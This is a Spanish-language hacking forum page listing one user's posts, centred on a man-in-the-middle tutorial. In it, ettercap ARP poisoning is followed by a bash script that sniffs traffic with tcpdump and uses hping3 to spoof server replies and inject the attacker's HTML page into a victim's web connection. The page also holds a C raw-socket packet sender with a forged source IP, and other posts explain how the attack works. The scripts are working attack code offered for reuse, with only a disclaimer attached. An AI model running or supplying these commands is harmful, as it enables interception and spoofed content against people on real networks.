Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - soyloqbuskas

#131
Muchas gracias!

Eso es precisamente lo que necesitaba.

Bueno por ahora tengo este codigo....y ando un poco atascado.
No se como especificar mi ip de origen, y tampoco se porque me manda los FLAGS: FYN SYN PSH y NS, cuando en realidad solo deberia mandar el SYN....

#include <sys/types.h>
#define __FAVOR_BSD
#include <sys/socket.h>
#include <stdio.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <string.h>
char data[1024] = "";



unsigned short csum(unsigned short *buf,int nwords)
{
//this function returns the checksum of a buffer
unsigned long sum;
for (sum = 0; nwords > 0; nwords--){sum += *buf++;}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short) (~sum);
}

int createRaw(int protocol_to_sniff)
{
int raw_fd = socket(AF_INET, SOCK_RAW, protocol_to_sniff);
if (raw_fd < 0)
{
printf("ERROR creating raw socket\n");
return(1);
}else{
printf( "Raw Socket Created! :-D\n");
return raw_fd;
}
}
int bindRaw(int socketToBind,struct sockaddr_in *sin)
{
int err = bind(socketToBind,(struct sockaddr *)sin,sizeof(*sin));
if (err < 0)
{
printf("ERROR binding socket.\n");
return(1);
}else{
printf("Bound socket! :-D\n");
return 0;
}
}

int main(int argc,char* argv[])
{
//create raw socket for binding
int bindSocket = createRaw(6);

//create structures
struct sockaddr_in sin;
unsigned char packetBuf[4096];

//specify port to bind to
bzero((char *)&sin,sizeof(sin));
sin.sin_port = htons(55000);

//bind socket
bindRaw(bindSocket,&sin);

//inform os of recieving raw ip packet
{
int tmp = 1;
setsockopt(bindSocket, 0, IP_HDRINCL,&tmp,sizeof(tmp));
}

//re-use socket structure
//Details about where this custom packet is going:
bzero((char *)& sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(55000); //port to send packet to
sin.sin_addr.s_addr = inet_addr("173.194.34.215"); //IP to send packet to


unsigned short buffer_size = sizeof(struct ip) + sizeof(struct tcphdr);//+ sizeof(data);
//cout << "Buffer size: " << buffer_size << endl;

struct ip *IPheader = (struct ip *) packetBuf;
struct tcphdr *TCPheader = (struct tcphdr *) (packetBuf + sizeof (struct ip));

//Fill out IP Header information:
IPheader->ip_hl = 5;
IPheader->ip_v = 4; //IPv4
IPheader->ip_tos = 0; //type of service
IPheader->ip_len = htons(buffer_size); //length
IPheader->ip_id = htonl(54321);
IPheader->ip_off = 0;
IPheader->ip_ttl = 255; //max routers to pass through
IPheader->ip_p = 6; //tcp
IPheader->ip_sum = 0; //Set to 0 before calulating later
IPheader->ip_src.s_addr = inet_addr("11.11.11.11"); //source IP address
IPheader->ip_dst.s_addr = inet_addr("173.194.34.215"); //destination IP address

//Fill out TCP Header information:
TCPheader->th_sport = htons(55000); //source port
TCPheader->th_dport = htons(55000); //destination port
TCPheader->th_seq = 0;
TCPheader->th_ack = 0; //Only 0 on initial SYN
TCPheader->th_off = 0;
TCPheader->th_flags = TH_SYN; //SYN flag set
TCPheader->th_win = htonl(65535); //used for segmentation
TCPheader->th_sum = 0; //Kernel fill this out
TCPheader->th_urp = 0;

//Now fill out the checksum for the IPheader
IPheader->ip_sum = csum((unsigned short *) packetBuf, IPheader->ip_len >> 1);
//cout << "IP Checksum: " << IPheader->ip_sum << endl;
//create raw socket for sending ip packet
int sendRaw = createRaw(6);
if (sendRaw < 0)
{
printf( "ERROR creating raw socket for sending.\n");
return(1);
}else{
printf( "Raw socket created for sending! :-D\n");
}
int sendErr = sendto(sendRaw,packetBuf,
sizeof(packetBuf),0,(struct sockaddr *)&sin,sizeof(sin));

if (sendErr < sizeof(packetBuf))
{
//cout << sendErr << " out of " << sizeof(packetBuf) << " were sent.\n";
return(1);
}else{
//cout << "<" << sendErr << "> Sent message!!! :-D\n";
}

printf( "Sleeping for 2 seconds");
sleep(1);
printf(".");
sleep(1);
printf(".\n");
char recvPacket[4096] = "";
int newData = recv(bindSocket,recvPacket,sizeof(recvPacket),0);
if (newData <=0)
{
//cout << newData << " returned by recv! :(\n";
return(1);
}else{
//cout << "<" << newData << "> RECIEVE SUCCESSFULL!! :-D\n";
}

return 0;
}



¿alguna idea?

Gracias.
#132
Eternal_Idol tiene razon. Los autorun.inf son ficheros que windows detecta como fichero de arranque. Estos solo te sirven cuando tienes un windows instalado. Pero si lo que quieres es que tu aplicacion se arranque sin el sistema operativo tienes que hacer que tu aplicacion guarde en el sector de arranque de la memoria (ya sea un CD, un DVD, un pendrive, etc).

Un saludo.
#133
Gracias por la ayuda.

Yo mas que un libro sobre redes lo que necesito es saber mas de C. La teoria de redes me la se bastante bien, mi problema viene al implementarlo.

Lo que pretendo es hacer un programa tipo hping3. Este es un programa que te permite mandar paquetes TCP (y de mas tipo) dejandote elegir la ip de origen, la ip de destino, el nº de secuencia, el nº de ACK, y los FLAGS de TCP.

Entonces solo necesito (mas o menos) sabes cual es la instruccion de C para enviar un paquete TCP pasandole por parametro los campos de la cabecera de un paquete TCP.

Un saludo.
#134
Programación C/C++ / Enviar paquetes TCP/IP
27 Marzo 2012, 16:24 PM
Buenas!

Quiero hacer un programa para enviar paquetes TCP y paquetes IP, solo enviar. ¿Me podeis decir alguna libreria e instrucciones basicas para poder hacerme el programa?
El programa lo voy ha hacer en C y sobre linux.

Gracias, un saludo!
#135
Hacking / Re: ¿Ip spoofing? [SOLUCIONADO]
26 Marzo 2012, 02:35 AM
Citarero si yo consulto www.google.com y de ahi selecciono la web del hacker.net ya no funcionaria?? en este caso tu script que direccion suplantaria la de google o la de elhacker??

Depende, si yo mi script lo ejecuto y tu habres google, va a funcionar. Y si tienes google abierto y yo ahora ejecuto mi escript, haces la busqueda y no va a funcionar, pero cuando pinches en elhacker.net si que va a funcionar.

Cuando estas en google, significa que tienes un conexion establecida con el servidor web de google, si en se momento yo ejecuto mi script y tu haces una busqueda, podras ver perfectamente el resultado de la busqueda (la lista de webs) porque aun sigues con una conexion establecida con google, pero cuando pinches en una de las webs para visitarla, haras una nueva conexion con el servidor web al que quieres visitar y ahi es cuando funcionara.

Mi script lo que hace es suplantar la identidad de un servidor web justo en el inicio de la conexion, entonces cuando abras una web que no tengas abierta funcionara, pero si estas es una web y solo te mueves por los enlaces de esa web entonces no va a funcionar porque se basa en el inicio de conexion. Es decir, tu al conectarte a una web mandas un paquete TCP con el flag SYN y mi script te manda la respuesta del servidor que es otro paquete TCP con los flag SYN y ACK, luego mandaras un paquete HTTP con un GET (del fichero .html)y mi script te manda el fichero .html que yo quiero.

Mirate estos enlaces:
http://es.wikipedia.org/wiki/Transmission_Control_Protocol#Establecimiento_de_la_conexi.C3.B3n_.28negociaci.C3.B3n_en_tres_pasos.29

En la imagen de este enlace la flecha de datos es el metodo GET de HTTP, y la respuesta del servidor es enviar el fichero .html con una cabecera HTTP 200 OK!

Aun asi, mi script necesita mejoras aun que funciona. La primera de todas es que mi script es lento y hay algunas web que responden al inicio de conexion antes que mi script y por eso a veces no funciona, pero con las paginas que estan lejos de tu ordenador si, porque tarda mas tiempo enn responder al inicio de conexion y le da tiempo a mi script a adelantarse al servidor. Tambien podria hacer que no fuera dependiente del inicio de conexion y directamente en cuanto la victima haga cualquier GET que mi script inyecte mi fichero .html, pero para hacer estas mejoras necesito mas tiempo. El script que he puesto es la primera version funcional.
#136
Hacking / Re: ¿Ip spoofing? [SOLUCIONADO]
25 Marzo 2012, 16:44 PM
No estoy haciendo ningun enveneramiento DNS. Un envenamiento DNS consiste en explotar una vulnerabilidad en el servidor DNS para que cuando la victima se conecte a una web, dicho servidor le diga que la IP de esa web es la IP de mi ordenador. Pero eso no es lo que hago.

Mi script lo que hace es que cuando la victima se conecta con cualquier servidor web para visitar una pagina, yo le envio mi propio fichero .html diciendole a la victima que mi fichero es el de la web que busca. Para ello tengo que mandar el fichero poniendo como ip de origen la del servidor web al que se conecta la victima, es decir, spoofeo la ip del servidor.

Mi script deja que la victima haga una resolucion DNS correctamente, ya que eso no me afecta. Solo necesito saber la ip del servidor al que se conecta para suplantar su identidad spoofeando la ip.

Mirate estos enlaces:
http://es.wikipedia.org/wiki/Spoofing#IP_Spoofing
http://es.wikipedia.org/wiki/DNS_cache_poisoning#Ataques_de_Envenenamiento_de_Cach.C3.A9

Espero habertelo aclarado.
#137
Hacking / Re: ¿Ip spoofing? [SOLUCIONADO]
24 Marzo 2012, 23:39 PM
Si te soy sincero, este tipo de cosas las trabajo mas con linux, asi que de Cain se poco pero lo del DNS-Poison me parece interesante por que si aplicamos mi script a un DNS-Poison podria tener como objetivo a a victimias fuera de mi red....xD

De todas formas espero que esto os haya servido de explicacion tanto teorica como practica de los que es un MITM-Ip Spoof-Inyeccion PayLoad.

Un saludo.
#138
Scripting / Script Bash lento....
23 Marzo 2012, 18:00 PM
¡Buenas a todos!

He hecho est script en bash pero es demasiado lento.....hace muchos accesos a ficheros....
¿me podrian ayudar a optimizarlo?
Código (bash) [Seleccionar]

        tcpdump -A -i wlan0 -nvXSs 0 -c1 tcp | grep cksum | grep  Flags | head -n 1 | cut -c5-130 > ficheroAux
        ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4)
        port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5)
        ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15)
        port2=$(cut -d: -f1 ficheroAux | cut -d. -f9)
        let seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1)

        let seqnumInc=$seqnum+1

        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1

        let seqnumInc2=$seqnumInc+1

        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1
        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html

        rm ficheroAux


La parte que deberia cambiar son las asignaciones a las variables ip1, ip2, port1, port2 y seqnum
Esas variables deberia llenarlas sin tener que hacer una lectura para cada una de ellas o algo asi....

¿Alguna idea de como hacerlo?

Gracias, un saludo!
#139
Hacking / Re: ¿Ip spoofing?
23 Marzo 2012, 17:01 PM
¡BUENAS A TODOOOOOS!!!

Al fin lo HE CONSEGUIDO. Ya tengo el script y me ha funcionado jeje pero tengo que optimizarlo porque hay veces que si funciona y otras que no.....la buena noticia es que se porque no funciona ha veces! jeje

Asi que aqui os voy a dejar un tutorial de como lo hago el MITM+Ip-Spoofing+Inyencion de fichero .html

1) Prerrequisitos:
    SO: cualquier distribucion de linux (script en bash)
    programas: ettercap, tcpdump, hping3, grep, cut (estos 2 ultimos vienen con linux)

2) abrimos un terminal y ponemos: $ettercap -G
       con el ettercap en modo grafico pinchamos en: Sniff -> Unified sniffing y seleccionamos la interfaz que estemos usando (eth0 o wlan0...)
       pinchamos en: Host -> scan for hosts
       tras el escaneo pinchamos en: Host -> Host list   
       ahora veremos una lista de los host que hay dentro de nuestra LAN
       pinchamos en la ip del router y pinchamos en Add to Target 1   
       pinchamos en la ip de la victima y pinchamos en Add to Target 2
       pinchamos en: Start -> Start sniffing
       pinchamos en: Mitm -> Arp poisoning

       #Ya estamos haciendo un Man In The Middle

3) copiamos siguiente script:
Código (bash) [Seleccionar]

        tcpdump -A -i wlan0 -nvXSs 0 -c1 tcp | grep cksum | grep  Flags | head -n 1 | cut -c5-130 > ficheroAux
        ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4)
        port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5)
        ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15)
        port2=$(cut -d: -f1 ficheroAux | cut -d. -f9)
        let seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1)

        let seqnumInc=$seqnum+1

        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1

        let seqnumInc2=$seqnumInc+1

        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1
        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html

        rm ficheroAux


        En la ultima linea del hping3 cambiais miFichero.html por la ruta de un fichero vuestro en html con el siguiente formato:

Citar
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Date: Thu, 22 Mar 2012 02:02:42 GMT
Server: gws

<html>
          Aqui podeis poner el texto que querais
</html>


4) ejecutais el script, y cuando la victima visite un web (ej.: www.facebook.com).........
        VOILA! se le habrio nuestro fichero html!!!


NOTA: El script es un poco lento...y si la victima hace la conexion muy rapida con el servidor web no funcionara....pero a mi con facebook.com me ha funcionado.

NOTA 2: Ahora estoy buscando una forma de optimizar el script para que sea mas rapido y funcione siempre. Ademas tengo la intencion de introducir  la parte del ettercap dentro del script para que solo sea ejecutar y listo! jejeje

PD: NO ME HAGO RESPONSABLE DEL USO INDEBIDO DE ESTE TUTORIAL. SI ALGUIEN LO PONE EN PRACTICA QUE LO HAGA EN SU PROPIA RED Y CON SUS PROPIOS ORDENADORES!!!!


Un saludo a todos!!
#140
Hacking / Re: ¿Ip spoofing?
22 Marzo 2012, 02:23 AM
¡Buenas a todos!

Aun sigo un poco atascado con el tema....soy capaz de hacer el MITM y el IP-Spoofing, pero el navegador de la victima no habre mi fichero html...

Para hacer el ip-spoofing tengo el siguiente script que simula la respuesta del servidor web a una conexion TCP para HTTP:
Citarwhile true;
do
hping3  -a 173.194.34.247 192.168.1.134 -s 80 -p 80 -M 1000 -S -A -c 1;
# -a IpServidor IpVictima -s PuertoOrigen -P PuertoDestino -M seqnum -S (SYN) -A (ACK) -c NumPackt

hping3 -a 173.194.34.247 192.168.1.134 -s 80 -p 80 -M 1001 -A -c 1;
# -a IpServidor IpVictima -s PuertoOrigen -P PuertoDestino -M seqnum -A (ACK) -c NumPackt

hping3 -a 173.194.34.247 192.168.1.134 -s 80 -p 80 -M 1002 -P -A -c 1 -d 150 -E miFichero.html;
# -a IpServidor IpVictima -s PuertoOrigen -P PuertoDestino -M seqnum -P (PUSH) -A(ACK) -c numPack -d dataSize -E fichero
done
¿Alguna idea de porque falla?
La respuesta del servidor es SYN/ACK y ACK y luego los datos con el flag PUSH/ACK no???

¿Alguna idea de porque falla la conexion?

PD: mi fichero html es este....:
Citar
HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Date: Thu, 22 Mar 2012 02:02:42 GMT
Server: gws

<html>
Discover all host of LAN:
        nmap -sP 192.168.1.*
Visualizar imagenes en un MITM
        driftnet -i wlan0
Visualizar urls en un MITM
        urlsnarf -i wlan0
ettercap
        ettercap -G
hping3
         hping3  95.131.168.181 -s 80 -p 80 -M 122 -S -c 1 -d 150 -E miFichero.html
</html>